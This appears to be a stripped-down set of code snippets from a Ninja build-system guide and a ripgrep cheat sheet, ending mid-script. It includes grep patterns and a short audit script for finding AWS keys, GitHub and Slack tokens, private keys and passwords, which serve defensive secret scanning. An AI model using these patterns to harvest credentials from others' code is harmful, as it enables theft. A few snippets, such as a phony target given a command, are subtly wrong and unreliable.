pool heavy_pool
  depth = 2

pool link_pool
  depth = 1

rule heavy_compile
  command = gcc -c $in -o $out
  pool = heavy_pool
  description = Heavy compilation $out

rule link
  command = gcc -o $out $in
  pool = link_pool
  description = Linking $out

build large.o: heavy_compile large.c
build program: link main.o utils.o large.o

# Special console pool for interactive commands
pool console
  depth = 1

rule test
  command = ./run_tests.sh
  pool = console
  description = Running tests

build test: test program

# Use response files for long command lines
rule link
  command = gcc @$out.rsp -o $out
  rspfile = $out.rsp
  rspfile_content = $in $libs
  description = Linking $out

build program: link main.o utils.o parser.o foo.o bar.o baz.o
  libs = -lpthread -lm -ldl -lrt

# Rules that regenerate build.ninja
rule configure
  command = ./configure.py
  generator = 1
  description = Regenerating build.ninja

build build.ninja: configure configure.py

# Don't rebuild dependents if output doesn't change
rule codegen
  command = ./generate.sh $in $out
  restat = 1
  description = Generating $out

build generated.c: codegen config.txt
build generated.o: compile generated.c

# Rule producing multiple outputs
rule protoc
  command = protoc --cpp_out=. $in
  description = Generating protobuf code

# Both outputs from single invocation
build message.pb.cc message.pb.h: protoc message.proto

# build.debug.ninja
builddir = build/debug
cflags = -g -O0 -DDEBUG
include common.ninja

# build.release.ninja
builddir = build/release
cflags = -O2 -DNDEBUG
include common.ninja

# common.ninja
cc = gcc

rule compile
  command = $cc $cflags -c $in -o $out
  description = CC $out

build $builddir/main.o: compile src/main.c
build $builddir/program: link $builddir/main.o

ninja -f build.debug.ninja
ninja -f build.release.ninja

# Generated by configure script
# configure.py sets has_openmp based on detection

rule compile
  command = $cc $cflags $openmp_flag -c $in -o $out

build main.o: compile main.c
  openmp_flag = $openmp_cflags

# In configure.py:
# if has_openmp:
#     f.write("openmp_cflags = -fopenmp\n")
# else:
#     f.write("openmp_cflags = \n")

# Top-level build.ninja
subninja src/build.ninja
subninja tests/build.ninja
subninja lib/build.ninja

build all: phony src/program tests/test_runner lib/libmylib.a

default all

# src/build.ninja
builddir = ../build/src
rule compile
  command = gcc -c $in -o $out

build $builddir/main.o: compile main.c
build program: link $builddir/main.o

# build.arm.ninja
cc = arm-linux-gnueabihf-gcc
cxx = arm-linux-gnueabihf-g++
ar = arm-linux-gnueabihf-ar
cflags = -Wall -O2 -march=armv7-a

rule compile
  command = $cc $cflags -c $in -o $out
  description = CC [ARM] $out

build arm/main.o: compile src/main.c
build arm/program: link arm/main.o

# Generate code only when input changes
rule generate
  command = python3 generate.py $in $out
  restat = 1
  description = Generating $out

rule compile
  command = gcc -c $in -o $out
  description = CC $out

build generated/api.c: generate specs/api.yaml
build generated/api.o: compile generated/api.c

# Use all CPU cores
ninja -j $(nproc)

# Profile build time
ninja -d stats
ninja -d keeprsp  # Keep response files for debugging

# Find bottlenecks
time ninja -n  # Time the planning phase
time ninja -v  # Time with verbose output

# Use depfiles for header dependencies
rule compile
  command = $cc -MMD -MF $out.d $cflags -c $in -o $out
  depfile = $out.d
  deps = gcc  # or deps = msvc for MSVC

# This is much faster than listing all headers manually
# build main.o: compile main.c include/utils.h include/parser.h ...  # Slow
build main.o: compile main.c  # Fast with depfile

# For very large link commands
rule link
  command = $cc @$out.rsp -o $out
  rspfile = $out.rsp
  rspfile_content = $in $ldflags
  description = LINK $out

# Avoids command-line length limits
build program: link $
  obj1.o obj2.o obj3.o ... obj1000.o
  ldflags = -lfoo -lbar -lbaz

# Limit concurrent linking (memory intensive)
pool link_pool
  depth = 2

# Limit concurrent heavy compilation
pool heavy_pool
  depth = 4

rule link
  command = gcc -o $out $in
  pool = link_pool

rule heavy_compile
  command = gcc -O3 -c $in -o $out
  pool = heavy_pool

# Recommended structure:
# build.ninja           - Main file (often generated)
# rules.ninja           - Rule definitions
# config.ninja          - Variables and configuration
# src/build.ninja       - Subdirectory builds
# configure.py          - Generator script

# Main build.ninja
include config.ninja
include rules.ninja
subninja src/build.ninja
subninja tests/build.ninja

default all

# DON'T write build.ninja manually for large projects
# DO use a generator (Python, shell script, etc.)

# Generator benefits:
# - Automatic source discovery
# - Consistent patterns
# - Easy to maintain
# - Platform-specific handling

# Example: configure.py
#!/usr/bin/env python3
import glob
import sys

sources = glob.glob("src/**/*.c", recursive=True)
# Generate build.ninja from sources

# Use clear, consistent variable names
cc = gcc
cxx = g++
ar = ar
cflags = -Wall -Wextra -O2
cxxflags = -Wall -Wextra -std=c++17 -O2
ldflags = -lpthread -lm
includes = -Iinclude -Isrc

# Not: c = gcc, f = -Wall, l = -lpthread

# ALWAYS use depfiles for header dependencies
rule compile
  command = $cc -MMD -MF $out.d $cflags -c $in -o $out
  depfile = $out.d
  deps = gcc

# DON'T manually list headers
# build main.o: compile main.c utils.h parser.h  # Hard to maintain

# DO use depfiles
build main.o: compile main.c  # Dependencies auto-discovered

# Use builddir to organize outputs
builddir = build

build $builddir/obj/main.o: compile src/main.c
build $builddir/bin/program: link $builddir/obj/main.o

# Clean with: rm -rf build/
# Or: ninja -t clean

# Keep rules simple and focused
rule compile
  command = $cc $cflags -c $in -o $out
  description = CC $out

# Not: command = mkdir -p obj && $cc $cflags -c $in -o $out

# Use order-only dependencies for prerequisites
build obj/main.o: compile src/main.c || obj

build obj: phony
  command = mkdir -p obj

# "multiple rules generate X" error
# Problem: Two build statements produce same output
# Solution: Check for duplicate build statements

# "unknown target" error
ninja -t targets all  # List all targets
ninja -t targets depth 0  # List top-level targets

# "dependency cycle detected" error
ninja -t graph | dot -Tpng -o graph.png
# Visualize to find cycle

# "no such file or directory" error
ninja -d explain  # Show why builds are triggered
ninja -v  # Verbose output

# Explain rebuild decisions
ninja -d explain -v target

# Show build statistics
ninja -d stats

# List all commands
ninja -t commands target

# Browse dependency graph
ninja -t browse target

# Show dependency information
ninja -t deps

# Validate build file
ninja -t recompact

# Clean build
ninja -t clean
ninja -t clean -r rule_name  # Clean specific rule outputs

# Check syntax
ninja -n

# Show what would be built
ninja -n target

# Verbose execution
ninja -v

# Keep response files
ninja -d keeprsp

# Print query results
ninja -t query target

# Time the build
time ninja

# Show build stats
ninja -d stats

# Profile command execution
ninja -t compdb > compile_commands.json

# Find slow steps
ninja -d stats | grep "longest"

# List all tools
ninja -t list

# Common tools:
ninja -t clean          # Remove built files
ninja -t commands       # Show commands for target
ninja -t deps           # Show dependencies
ninja -t graph          # Dependency graph (dot format)
ninja -t targets        # List targets
ninja -t rules          # List rules
ninja -t browse         # Browse dependency graph in browser
ninja -t query          # Query target info
ninja -t compdb         # Generate compilation database
ninja -t recompact      # Recompact .ninja_deps file

# Generate compile_commands.json
ninja -t compdb > compile_commands.json

# Used by:
# - clangd (LSP)
# - clang-tidy
# - clang-format
# - VSCode C++ extension
# - Other IDE tools

# Complete build.ninja for a C++ project
# This would typically be generated by a script

# Configuration
builddir = build
srcdir = src
incdir = include
objdir = $builddir/obj
bindir = $builddir/bin

# Toolchain
cxx = g++
ar = ar

# Flags
cxxflags = -std=c++17 -Wall -Wextra -O2 -I$incdir
ldflags = -lpthread -lm
arflags = rcs

# Rules
rule compile
  command = $cxx -MMD -MF $out.d $cxxflags -c $in -o $out
  description = CXX $out
  depfile = $out.d
  deps = gcc

rule link
  command = $cxx -o $out $in $ldflags
  description = LINK $out

rule archive
  command = rm -f $out && $ar $arflags $out $in
  description = AR $out

rule mkdir
  command = mkdir -p $out
  description = MKDIR $out

# Directories
build $objdir: mkdir
build $bindir: mkdir

# Core library
build $objdir/utils.o: compile $srcdir/utils.cpp || $objdir
build $objdir/parser.o: compile $srcdir/parser.cpp || $objdir
build $objdir/network.o: compile $srcdir/network.cpp || $objdir
build $builddir/libcore.a: archive $
  $objdir/utils.o $
  $objdir/parser.o $
  $objdir/network.o

# Main application
build $objdir/main.o: compile $srcdir/main.cpp || $objdir
build $bindir/program: link $objdir/main.o $builddir/libcore.a || $bindir

# Tests
build $objdir/test_utils.o: compile tests/test_utils.cpp || $objdir
build $objdir/test_parser.o: compile tests/test_parser.cpp || $objdir
build $bindir/test_runner: link $
  $objdir/test_utils.o $
  $objdir/test_parser.o $
  $builddir/libcore.a $
  || $bindir

# Phony targets
build all: phony $bindir/program $bindir/test_runner
build test: phony $bindir/test_runner
build lib: phony $builddir/libcore.a

# Default
default all

# Regenerate build.ninja when configure.py changes
rule configure
  command = python3 configure.py
  generator = 1
  description = Regenerating build.ninja

build build.ninja: configure configure.py

# Debian/Ubuntu
sudo apt update
sudo apt install ripgrep

# RHEL/CentOS/Fedora
sudo dnf install ripgrep
# or
sudo yum install ripgrep

# Arch Linux
sudo pacman -S ripgrep

# macOS (Homebrew)
brew install ripgrep

# macOS (MacPorts)
sudo port install ripgrep

# Windows (Chocolatey)
choco install ripgrep

# Windows (Scoop)
scoop install ripgrep

# Windows (Winget)
winget install BurntSushi.ripgrep.MSVC

# Cargo (Rust package manager - any platform)
cargo install ripgrep

# From source (requires Rust)
git clone https://github.com/BurntSushi/ripgrep
cd ripgrep
cargo build --release
sudo cp target/release/rg /usr/local/bin/

# Verify installation
rg --version

# Search for pattern in current directory
rg "pattern"
rg "function"
rg "TODO"

# Search for exact string (no regex)
rg -F "exact.string.with.dots"
rg --fixed-strings "literal$string"

# Search in specific file
rg "pattern" file.txt

# Search in multiple files
rg "pattern" file1.txt file2.txt

# Search with multiple patterns (OR)
rg "pattern1|pattern2"
rg "error|warning|critical"

# Case-sensitive search
rg -s "Pattern"
rg --case-sensitive "CamelCase"

# Case-insensitive search (force)
rg -i "pattern"
rg --ignore-case "PATTERN"

# Search recursively in current directory (default)
rg "pattern"

# Search in specific directory
rg "pattern" /path/to/directory

# Search in multiple directories
rg "pattern" dir1/ dir2/ dir3/

# Limit recursion depth
rg --max-depth 2 "pattern"
rg --max-depth 1 "pattern"  # Only current directory

# Search without recursion
rg --max-depth 1 "pattern"

# Search only in specific file types
rg -t py "pattern"          # Python files
rg -t js "pattern"          # JavaScript files
rg -t rust "pattern"        # Rust files
rg -t cpp "pattern"         # C++ files
rg -t java "pattern"        # Java files
rg -t go "pattern"          # Go files
rg -t md "pattern"          # Markdown files
rg -t html "pattern"        # HTML files
rg -t css "pattern"         # CSS files
rg -t json "pattern"        # JSON files

# Multiple file types
rg -t py -t js "pattern"
rg --type python --type javascript "pattern"

# Exclude file types
rg -T js "pattern"          # Exclude JavaScript files
rg --type-not javascript "pattern"

# List available file types
rg --type-list

# Add custom file type
rg --type-add 'custom:*.foo' -t custom "pattern"

# Search files matching glob pattern
rg -g "*.py" "pattern"
rg --glob "*.js" "pattern"

# Multiple glob patterns
rg -g "*.{js,ts}" "pattern"
rg -g "*.py" -g "*.pyx" "pattern"

# Exclude with glob patterns
rg -g "!*.min.js" "pattern"
rg -g "!test*" "pattern"
rg --glob "!vendor/*" "pattern"

# Complex glob patterns
rg -g "src/**/*.rs" "pattern"
rg -g "**/test_*.py" "pattern"

# Show line numbers (default)
rg "pattern"

# Hide line numbers
rg -N "pattern"
rg --no-line-number "pattern"

# Show column numbers
rg --column "pattern"

# Show only filenames with matches
rg -l "pattern"
rg --files-with-matches "pattern"

# Show only filenames without matches
rg --files-without-match "pattern"

# Count matches per file
rg -c "pattern"
rg --count "pattern"

# Count total matches
rg --count-matches "pattern"

# Show only matching part (not full line)
rg -o "pattern"
rg --only-matching "pattern"

# Show N lines after match
rg -A 3 "pattern"
rg --after-context 3 "pattern"

# Show N lines before match
rg -B 3 "pattern"
rg --before-context 3 "pattern"

# Show N lines before and after match
rg -C 3 "pattern"
rg --context 3 "pattern"

# Different before/after context
rg -B 5 -A 2 "pattern"

# Enable multiline mode
rg -U "pattern.*across.*lines"
rg --multiline "start.*\n.*middle.*\n.*end"

# Search for function definitions across lines
rg -U "function.*\{.*\n.*return"

# Find multi-line comments
rg -U "/\*.*\*/"

# Complex multiline patterns
rg -U "class \w+.*\n.*def __init__"

# Match whole words only
rg -w "word"
rg --word-regexp "function"

# Match word boundaries with regex
rg "\bword\b"
rg "\bfunction\b"

# Combine with other options
rg -w -i "class"

# Show replacements (doesn't modify files)
rg "old" -r "new"
rg "pattern" --replace "replacement"

# With capture groups
rg "(\w+)@(\w+)" -r '$2@$1'
rg "function (\w+)" -r 'def $1'

# Passthrough mode (prints all lines, highlighting matches)
rg --passthru "pattern"

# Passthrough with replacement
rg --passthru "old" -r "new"

# Include hidden files
rg --hidden "pattern"
rg -. "pattern"

# Search all files (ignore .gitignore, .ignore, etc.)
rg -u "pattern"                    # Ignore .gitignore
rg -uu "pattern"                   # Ignore .gitignore and hidden files
rg -uuu "pattern"                  # Search everything (including binary)

# Don't respect ignore files
rg --no-ignore "pattern"

# Don't respect .gitignore
rg --no-ignore-vcs "pattern"

# Don't respect parent .gitignore
rg --no-ignore-parent "pattern"

# Don't skip hidden files
rg --hidden "pattern"

# Search binary files
rg -a "pattern"
rg --text "pattern"

# Show binary file matches as hex
rg --binary "pattern"

# Skip binary files explicitly (default)
rg "pattern"

# Search binary with specific encoding
rg -E latin1 "pattern"

# Follow symbolic links
rg -L "pattern"
rg --follow "pattern"

# Default: don't follow symlinks
rg "pattern"

# Search in compressed files
rg -z "pattern"
rg --search-zip "pattern"

# Supported formats: gzip, bzip2, xz, lz4, lzma, zstd

# Search in .gz files
rg -z "pattern" logs.gz

# Search in multiple compressed files
rg -z "error" *.gz

# Fixed string (no regex)
rg -F "string.with.dots"
rg -F "regex chars like * + ?"

# Useful for searching special characters
rg -F '$variable'
rg -F '[bracket]'
rg -F '(parenthesis)'

# Basic regex
rg "fo+"                           # One or more 'o'
rg "colou?r"                       # Optional 'u'
rg "file\d+"                       # file followed by digits
rg "test_\w+"                      # test_ followed by word chars

# Character classes
rg "[aeiou]"                       # Any vowel
rg "[0-9]+"                        # One or more digits
rg "[A-Z][a-z]+"                   # Capital letter + lowercase

# Anchors
rg "^import"                       # Lines starting with import
rg "return$"                       # Lines ending with return
rg "^$"                            # Empty lines

# Word boundaries
rg "\bword\b"                      # Whole word
rg "\Btest"                        # Not at word boundary

# Alternation
rg "error|warning|fatal"
rg "(jpg|png|gif)$"

# Grouping
rg "func(tion)?"
rg "(get|set)_(\w+)"

# Quantifiers
rg "a{3}"                          # Exactly 3 'a's
rg "a{2,4}"                        # Between 2 and 4 'a's
rg "a{2,}"                         # 2 or more 'a's

# Lookahead (not in default engine, use -P)
rg -P "foo(?=bar)"                 # foo followed by bar
rg -P "foo(?!bar)"                 # foo not followed by bar

# Lookbehind (use -P)
rg -P "(?<=foo)bar"                # bar preceded by foo
rg -P "(?<!foo)bar"                # bar not preceded by foo

# Use PCRE2 engine for advanced features
rg -P "pattern"
rg --pcre2 "pattern"

# Lookahead assertions
rg -P "password(?=.*[A-Z])"

# Lookbehind assertions
rg -P "(?<=\$)\d+"                 # Digits after $

# Recursive patterns
rg -P "\((?:[^()]++|(?R))*+\)"     # Balanced parentheses

# Named groups
rg -P "(?P<year>\d{4})-(?P<month>\d{2})"

# Conditionals
rg -P "(?(condition)yes-pattern|no-pattern)"

# Email addresses
rg "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b"

# IP addresses
rg "\b(?:\d{1,3}\.){3}\d{1,3}\b"
rg "\b(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b"

# URLs
rg "https?://[^\s]+"

# Phone numbers (US)
rg "\b\d{3}-\d{3}-\d{4}\b"
rg "\(\d{3}\)\s*\d{3}-\d{4}"

# UUIDs
rg "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}"

# Hex colors
rg "#[0-9a-fA-F]{6}\b"

# Credit card numbers (simple pattern)
rg "\b\d{4}[-\s]?\d{4}[-\s]?\d{4}[-\s]?\d{4}\b"

# Social Security Numbers
rg "\b\d{3}-\d{2}-\d{4}\b"

# Dates (YYYY-MM-DD)
rg "\b\d{4}-\d{2}-\d{2}\b"

# Dates (MM/DD/YYYY)
rg "\b\d{1,2}/\d{1,2}/\d{4}\b"

# Times (HH:MM:SS)
rg "\b\d{2}:\d{2}:\d{2}\b"

# MAC addresses
rg "([0-9A-Fa-f]{2}[:-]){5}([0-9A-Fa-f]{2})"

# IPv6 addresses
rg "([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}"

# Base64 strings
rg "[A-Za-z0-9+/]{40,}={0,2}"

# Find function definitions (Python)
rg "^def \w+\("
rg "^\s*def \w+\("

# Find class definitions (Python)
rg "^class \w+"

# Find function definitions (JavaScript)
rg "function \w+\("
rg "const \w+ = \("

# Find function definitions (C/C++)
rg "^\w+\s+\w+\([^)]*\)\s*\{"

# Find class definitions (Java)
rg "^(public|private|protected)?\s*(class|interface) \w+"

# Find method definitions (Ruby)
rg "^\s*def \w+"

# Find function definitions (Go)
rg "^func \w+\("

# Find class definitions (Rust)
rg "^(pub\s+)?struct \w+"

# Python imports
rg "^import \w+"
rg "^from .* import"

# JavaScript/TypeScript imports
rg "^import .* from"
rg "^import\s+.*\s+from\s+"

# C/C++ includes
rg "^#include [<\"].*[>\"]"

# Java imports
rg "^import .*;"

# Go imports
rg "^import \("

# JavaScript const/let/var
rg "^(const|let|var) \w+"

# Python variables (assignments at module level)
rg "^\w+ = "

# C/C++ variable declarations
rg "^(int|char|float|double|void|bool|auto) \w+"

# Java variable declarations
rg "^(private|public|protected)?\s*(static)?\s*(final)?\s*\w+ \w+\s*[=;]"

# Rust let bindings
rg "^\s*let (mut )?\w+"

# Constants in various languages
rg "^const \w+"
rg "^(static )?final \w+"
rg "^#define \w+"

# Single-line comments (C-style)
rg "//.*"

# Multi-line comments (C-style)
rg -U "/\*.*?\*/"

# Python docstrings
rg '""".*?"""'
rg -U '""".*?"""'

# TODO/FIXME/HACK comments
rg "TODO:"
rg "FIXME:"
rg "HACK:"
rg "XXX:"
rg "NOTE:"
rg "(TODO|FIXME|HACK|XXX|NOTE):"

# JSDoc comments
rg -U "/\*\*.*?\*/"

# Python comments
rg "^\s*#.*"

# Try-catch blocks
rg "try\s*\{"
rg "catch\s*\("
rg "except\s+.*:"

# Error returns (Go)
rg "if err != nil"
rg "return.*err"

# Raise/throw statements
rg "raise \w+"
rg "throw new \w+"

# Error logging
rg "log\.error"
rg "console\.error"
rg "logger\.error"

# Generic API keys
rg -i "api[_-]?key"
rg -i "api[_-]?secret"
rg -i "apikey\s*=\s*['\"]?\w+"

# AWS credentials
rg "AKIA[0-9A-Z]{16}"              # AWS Access Key ID
rg "aws_secret_access_key"

# GitHub tokens
rg "ghp_[0-9a-zA-Z]{36}"           # GitHub Personal Access Token
rg "gho_[0-9a-zA-Z]{36}"           # GitHub OAuth Token

# Slack tokens
rg "xox[baprs]-[0-9a-zA-Z-]+"

# Generic secrets
rg -i "(password|passwd|pwd)\s*=\s*['\"]?\w+"
rg -i "secret\s*=\s*['\"]?\w+"
rg -i "token\s*=\s*['\"]?\w+"

# Private keys
rg "BEGIN.*PRIVATE KEY"
rg "-----BEGIN RSA PRIVATE KEY-----"

# Database connection strings
rg "mongodb://.*@"
rg "mysql://.*@"
rg "postgres://.*@"

# Python tests
rg "def test_\w+"
rg "class Test\w+"

# JavaScript tests
rg "describe\(['\"]"
rg "it\(['\"]"
rg "test\(['\"]"

# Go tests
rg "func Test\w+\(t \*testing\.T\)"

# Rust tests
rg "#\[test\]"

# Ruby tests
rg "def test_\w+"
rg "it ['\"].*['\"] do"

# Force color output
rg --color always "pattern"
rg --color always "pattern" | less -R

# Disable colors
rg --color never "pattern"

# Auto color (default, colors for TTY)
rg --color auto "pattern"

# Custom colors
rg --colors 'match:fg:red' --colors 'path:fg:blue' "pattern"

# Available color types:
# - path: file path
# - line: line numbers
# - column: column numbers
# - match: matched text

# Available color specs:
# - fg:color (foreground color)
# - bg:color (background color)
# - style:bold, intense, underline

# Default format (show filename, line number, content)
rg "pattern"

# Compact format (no line numbers, no colors)
rg -N --color never "pattern"

# Machine-readable format (null-separated)
rg --null "pattern"

# JSON output
rg --json "pattern"

# Vim-style output (filename:line:column:content)
rg --vimgrep "pattern"

# Custom path separator
rg --path-separator '/' "pattern"

# Custom heading
rg --heading "pattern"           # Group by file (default with TTY)
rg --no-heading "pattern"        # Don't group by file

# Show file paths as hyperlinks (some terminals)
rg --hyperlink-format default "pattern"

# Count matches per file
rg -c "pattern"

# Count total matches (not lines)
rg --count-matches "pattern"

# Show statistics
rg --stats "pattern"

# Quiet mode (only exit code)
rg -q "pattern"

# Only show filenames with matches
rg -l "pattern"

# Only show filenames without matches
rg --files-without-match "pattern"

# Limit matches per file
rg -m 5 "pattern"
rg --max-count 5 "pattern"

# Stop after first match
rg -m 1 "pattern"

# Limit total number of results
# (no direct option, use head)
rg "pattern" | head -n 20

# List all files that would be searched
rg --files

# List files of specific type
rg --files -t py
rg --files --type rust

# List files matching glob
rg --files -g "*.js"
rg --files --glob "**/*.py"

# List files with specific encoding
rg --files -E utf8

# Show all type definitions
rg --type-list

# Custom type definition
rg --type-add 'web:*.{html,css,js}' -t web "pattern"

# Multiple patterns in custom type
rg --type-add 'config:*.{yml,yaml,json,toml}' -t config "pattern"

# Add type for this session
rg --type-add 'custom:*.foo' -t custom "pattern"

# Use .gitignore (default)
rg "pattern"

# Also use .ignore files
rg "pattern"

# Use .rgignore files
rg "pattern"

# Ignore specific patterns
rg --ignore-file custom-ignore.txt "pattern"

# Don't use ignore files
rg --no-ignore "pattern"

# Don't use .gitignore
rg --no-ignore-vcs "pattern"

# Don't use global ignore files
rg --no-ignore-global "pattern"

# .rgignore example
*.log
*.tmp
node_modules/
.git/
dist/
build/
__pycache__/
*.pyc
.DS_Store

# Default: automatic parallelism based on CPU cores
rg "pattern"

# Specify number of threads
rg -j 4 "pattern"
rg --threads 4 "pattern"

# Single-threaded search
rg -j 1 "pattern"

# Maximum threads
rg -j $(nproc) "pattern"

# Use memory-mapped files (faster for large files)
rg --mmap "pattern"

# Don't use memory mapping
rg --no-mmap "pattern"

# Auto (default, uses heuristics)
# Uses mmap for large files, regular reading for small files

# Use fixed-strings for literal matches (faster)
rg -F "literal_string"

# Limit file types to reduce search space
rg -t py "pattern"

# Use more specific patterns
rg "^import specific" vs rg "import"

# Limit recursion depth
rg --max-depth 2 "pattern"

# Skip large files
rg --max-filesize 1M "pattern"

# Combine multiple optimizations
rg -F -t py --max-depth 3 "literal_pattern"

# Time the search
time rg "pattern"

# With stats
rg --stats "pattern"

# Compare different options
time rg "pattern"
time rg -F "pattern"
time rg -t py "pattern"

# Find all usages of a function
rg "\bfunction_name\b"
rg -w "function_name"

# Find all usages with context
rg -C 3 "function_name"

# Show which files use a function
rg -l "function_name"

# Count usages per file
rg -c "function_name"

# Find and show replacements
rg "oldName" -r "newName"

# Find function definitions and calls
rg "def function_name|function_name\("

# Find potential secrets
rg -i "(password|secret|api_key|token)\s*=\s*['\"]?\w+"

# Find TODO/FIXME in security contexts
rg "TODO.*security"
rg "FIXME.*(auth|password|token)"

# Find SQL queries (potential injection points)
rg "SELECT.*FROM"
rg "execute\(.*SELECT"

# Find eval/exec (potential code injection)
rg "\beval\("
rg "\bexec\("

# Find file operations
rg "open\(['\"]"
rg "readFile|writeFile"

# Find network operations
rg "http\.request"
rg "fetch\("
rg "requests\.get|requests\.post"

# Find errors in logs
rg "ERROR|FATAL|CRITICAL" logs/

# Find errors with timestamp
rg "\d{4}-\d{2}-\d{2}.*ERROR" logs/

# Find specific error codes
rg "HTTP [45]\d{2}"
rg "status.*[45]\d{2}"

# Find exceptions
rg "Exception|Traceback" logs/

# Search compressed logs
rg -z "ERROR" logs/*.gz

# Find slow queries
rg "duration.*[0-9]{4,}" logs/

# Search logs by date
rg "2024-01-15" logs/
rg "Jan 15" logs/

# Search markdown files
rg -t md "pattern"

# Search in code comments and docs
rg "//.*pattern|/\*.*pattern" -t cpp
rg "#.*pattern" -t py

# Find specific sections
rg "^## \w+" -t md

# Find TODO items in docs
rg "TODO" -t md

# Search across multiple doc formats
rg -t md -t rst -t txt "pattern"

# Search config files
rg -t yaml -t json -t toml "pattern"

# Find specific settings
rg "debug\s*=\s*true" -t yaml

# Find database configs
rg "host.*:.*port" -t yaml

# Find environment variables
rg "\$\{?\w+\}?" -g "*.env"

# Search INI files
rg --type-add 'ini:*.ini' -t ini "pattern"

# Find similar function signatures
rg "def \w+\([^)]*\):" -t py | sort | uniq -c

# Find repeated patterns
rg "console\.log" | wc -l

# Find copied error messages
rg "error occurred" -c

# Find all imports of a module
rg "import.*module_name"
rg "from module_name import"

# Find package versions
rg "==\d+\.\d+\.\d+" requirements.txt
rg "\"version\":\s*\"" package.json

# Find outdated copyright years
rg "Copyright.*201[0-9]"

# Find specific library usage
rg "import requests"
rg "import.*pandas"

# Find failing tests
rg "FAILED|ERROR" test-results/

# Find deprecated warnings
rg "DeprecationWarning"
rg "deprecated"

# Check for hardcoded values
rg "localhost:3000"
rg "http://127\.0\.0\.1"

# Find debug code
rg "console\.log"
rg "debugger"
rg "import pdb"

# Search only tracked files
git ls-files | rg "pattern"

# Search files changed in last commit
git diff --name-only HEAD~1 | xargs rg "pattern"

# Search in specific branch
git show branch:file.txt | rg "pattern"

# Search commit messages
git log --all --grep="pattern"

# Combine with git grep
git ls-files | rg "pattern"

# ripgrep replaces most find use cases
# But you can combine them:

# Find files, then search content
find . -name "*.py" | xargs rg "pattern"

# Better: use ripgrep's built-in filtering
rg -t py "pattern"

# Find files modified in last day, then search
find . -mtime -1 -type f | xargs rg "pattern"

# ripgrep to find, sed to replace
rg -l "oldtext" | xargs sed -i 's/oldtext/newtext/g'

# ripgrep with awk for processing
rg "pattern" | awk '{print $1}'

# Extract specific fields
rg "error" logs/ | awk -F: '{print $1}' | sort | uniq

# Use ripgrep as grep program in Vim
# Add to .vimrc:
# set grepprg=rg\ --vimgrep\ --no-heading\ --smart-case
# set grepformat=%f:%l:%c:%m

# Then in Vim:
:grep pattern
:copen

# Use with fzf.vim
# :Rg pattern

# Interactive file search
rg --files | fzf

# Interactive content search
rg --no-heading --color always "pattern" | fzf --ansi

# Live search
fzf --preview 'rg --pretty --context 3 {q} || true' --phony -q ""

# Bash key binding
# Add to .bashrc:
# bind '"\C-f": "rg --files | fzf\n"'

# Copy results to clipboard (Linux)
rg "pattern" | xclip -selection clipboard

# Copy results to clipboard (macOS)
rg "pattern" | pbcopy

# Copy just filenames
rg -l "pattern" | xclip -selection clipboard

# Monitor changes in real-time
watch -n 1 'rg "ERROR" logs/latest.log | tail -20'

# Watch for new matches
watch -n 2 'rg -c "pattern"'

# Re-run search when files change
rg --files | entr -c rg "pattern"

# Run tests when files change
rg --files -t py | entr -c pytest

# Count unique matches
rg -o "pattern" | sort | uniq | wc -l

# Most common matches
rg -o "\b\w+\b" | sort | uniq -c | sort -rn | head -20

# Filter results
rg "pattern" | grep -v "exclude_this"

# Format output
rg "pattern" | column -t

# Extract and process
rg -o "email@\w+\.\w+" | sort -u > emails.txt

#!/bin/bash
# Find and count TODOs by author

echo "TODO count by file:"
rg -c "TODO" | while IFS=: read -r file count; do
    if [ "$count" -gt 0 ]; then
        printf "%-50s %d\n" "$file" "$count"
    fi
done | sort -k2 -rn

#!/bin/bash
# Security audit script

echo "=== Potential Security Issues ==="

echo -e "\n[*] Looking for hardcoded passwords..."
rg -i "password\s*=\s*['\"][^'\"]+['\"]" -g '!*.{md,txt}'

echo -e "\n[*] Looking for API keys..."
rg -i "api[_-]?key\s*=\s*['\"][^'\"]+['\"]"

echo -e "\n[*] Looking for AWS credentials..."
rg "AKIA[0-9A-Z]{16}"

echo -e "\n[*] Looking for private keys..."
rg "BEGIN.*PRIVATE KEY"

echo -e "\n[*] Looking for potential SQL injection..."
rg "execute.*SELECT.*\+" -t py

echo -e "\n[*] Looking for eval/exec usage..."
rg "\b(eval|exec)\(" -t py

#!/bin/bash
# Find and replace across files

PATTERN="$1"
REPLACEMENT="$2"

if [ -z "$PATTERN" ] || [ -z "$REPLACEMENT" ]; then
    echo "Usage: $0 <pattern> <replacement>"
    exit 1
fi

# Show preview
echo "Preview of changes:"
rg "$PATTERN" -r "$REPLACEMENT" --color always | head -20

read -p "Continue with replacement? (y/n) " -n 1 -r
echo
if [[ $REPLY =~ ^[Yy]$ ]]; then
    # Get list of files
    FILES=$(rg -l "$PATTERN")

    # Replace in each file
    for file in $FILES; do
        echo "Processing $file..."
        sed -i "s/$PATTERN/$REPLACEMENT/g" "$file"
    done

    echo "Done!"
fi

#!/usr/bin/env python3
import subprocess
import json
import sys

def search_with_rg(pattern, path='.', file_type=None):
    """Search using ripgrep and return results as structured data."""
    cmd = ['rg', '--json', pattern]

    if file_type:
        cmd.extend(['-t', file_type])

    cmd.append(path)

    result = subprocess.run(cmd, capture_output=True, text=True)

    matches = []
    for line in result.stdout.strip().split('\n'):
        if line:
            data = json.loads(line)
            if data.get('type') == 'match':
                matches.append({
                    'file': data['data']['path']['text'],
                    'line_number': data['data']['line_number'],
                    'line': data['data']['lines']['text'].strip(),
                })

    return matches

def find_todos():
    """Find all TODO items and organize by file."""
    matches = search_with_rg('TODO:')

    by_file = {}
    for match in matches:
        file = match['file']
        if file not in by_file:
            by_file[file] = []
        by_file[file].append(match)

    for file, items in sorted(by_file.items()):
        print(f"\n{file}:")
        for item in items:
            print(f"  Line {item['line_number']}: {item['line']}")

def analyze_imports(file_type='py'):
    """Analyze import statements in codebase."""
    pattern = '^(import|from) .*'
    matches = search_with_rg(pattern, file_type=file_type)

    imports = {}
    for match in matches:
        module = match['line'].split()[1]
        imports[module] = imports.get(module, 0) + 1

    print("Most used imports:")
    for module, count in sorted(imports.items(), key=lambda x: x[1], reverse=True)[:10]:
        print(f"  {module}: {count}")

if __name__ == '__main__':
    if len(sys.argv) > 1:
        pattern = sys.argv[1]
        results = search_with_rg(pattern)
        print(f"Found {len(results)} matches")
        for r in results[:10]:
